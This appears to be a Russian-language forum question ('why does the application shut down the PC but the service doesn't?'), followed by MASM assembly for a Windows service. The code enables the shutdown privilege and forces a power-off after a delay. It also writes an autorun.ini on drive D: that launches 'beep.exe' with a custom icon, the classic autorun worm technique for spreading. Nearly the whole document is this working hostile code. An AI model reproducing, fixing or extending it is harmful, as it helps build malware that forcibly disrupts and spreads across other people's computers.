Почему приложение вырубает комп, а служба нет?

SSTATUS STRUC
    STYPE    DD ?
    SSTATE   DD ?
    SACCEPT  DD ?
    SEXCODE  DD ?
    SEXSCOD  DD ?
    SCHEKPO  DD ?
    SWAITHI  DD ?
SSTATUS ENDS


CRST EQU SERVICE_CONTROL_STOP OR SERVICE_CONTROL_SHUTDOWN OR SERVICE_CONTROL_CONTINUE

.data
sname db "MyService",0h
dts dd offset sname,offset winserv,0h,0h
.data?
h1 dd ?
srs SSTATUS <> 



.code


.data
    tkp        TOKEN_PRIVILEGES<>
    sys        OSVERSIONINFO<>    
    SeShut     DB "SeShutdownPrivilege",0h
.code


FShutdownSystem proc
    mov sys.dwOSVersionInfoSize,sizeof OSVERSIONINFO
    invoke GetVersionEx,offset sys
    .if sys.dwPlatformId==2
        call GetRights
        invoke ExitWindowsEx,EWX_POWEROFF,0
    .else
        invoke ExitWindowsEx,EWX_POWEROFF,0
    .ENDIF

    mov eax,FALSE
    ret
FShutdownSystem Endp

GetRights proc
    LOCAL pro:DWORD
    LOCAL hto:DWORD
    push ecx
    invoke GetCurrentProcess
    mov ecx,eax
    invoke OpenProcessToken,ecx,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,addr hto
    mov ecx,eax
    jecxz erro
    invoke LookupPrivilegeValue,0,offset SeShut,offset tkp.Privileges[0].Luid
    mov ecx,eax
    jecxz erro
    mov tkp.PrivilegeCount,1
    mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
    invoke AdjustTokenPrivileges,hto,0,addr tkp,0,0,0
    mov ecx,eax
    jecxz erro
    pop ecx
    xor eax,eax
    inc eax
    ret
erro:    
    xor eax,eax
    ret
GetRights Endp









myservice proc
local handle:DWORD
again:
.data
lpfile db "D:\autorun.ini",0h
.code
invoke CreateFile,offset lpfile,GENERIC_WRITE or GENERIC_READ,0h,0h,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0h
mov handle,eax
.data
buffer db "[autorun]",0Dh,0Ah,"OPEN=beep.exe",0Dh,0Ah,"ICON=icon2.ico",0h
.data?
bytes dd ?
.code
invoke GetLastError
.if eax!=ERROR_ALREADY_EXISTS
invoke WriteFile,handle,offset buffer,sizeof buffer-1h,offset bytes,0h
.endif
invoke CloseHandle,handle
invoke Sleep,4000
;jmp again
ret
myservice endp


 
_start proc
invoke StartServiceCtrlDispatcher,offset dts
invoke ExitProcess,0h
_start endp





winserv PROTO :DWORD,:DWORD
handler PROTO :DWORD

winserv proc wParam,lParam
mov srs.STYPE,SERVICE_WIN32_OWN_PROCESS
mov srs.SSTATE,SERVICE_RUNNING
mov srs.SACCEPT,CRST
mov srs.SEXCODE,0
mov srs.SEXSCOD,0
mov srs.SCHEKPO,0
mov srs.SWAITHI,1
invoke RegisterServiceCtrlHandler,offset sname,offset handler
mov h1,eax
invoke SetServiceStatus,h1,offset srs





invoke Sleep,10000
call FShutdownSystem

call myservice

invoke MessageBox,0h,offset sname,offset sname,MB_SERVICE_NOTIFICATION 
;invoke Sleep,2000h



mov srs.SSTATE,SERVICE_CONTROL_STOP
invoke SetServiceStatus,h1,offset srs
ret
winserv endp


handler proc lParam
INC srs.SCHEKPO
MOV EAX, DWORD PTR [EBP+08H]  
CMP EAX,SERVICE_CONTROL_STOP
JNZ NO_STOP
MOV srs.SSTATE,SERVICE_CONTROL_STOP
JMP _SET    
NO_STOP:
CMP EAX,SERVICE_CONTROL_SHUTDOWN
JNZ NO_SHUTDOWN
MOV srs.SSTATE,SERVICE_CONTROL_STOP
JMP _SET    
NO_SHUTDOWN:
CMP EAX,SERVICE_CONTROL_CONTINUE
JNZ NO_CONTINUE
MOV srs.SSTATE,SERVICE_CONTROL_CONTINUE
JMP _SET    
NO_CONTINUE:
CMP EAX,SERVICE_CONTROL_INTERROGATE
_SET:
invoke SetServiceStatus,h1,offset srs
;invoke MessageBox,0h,offset sname,offset sname,MB_SERVICE_NOTIFICATION    
ret
handler endp


end _start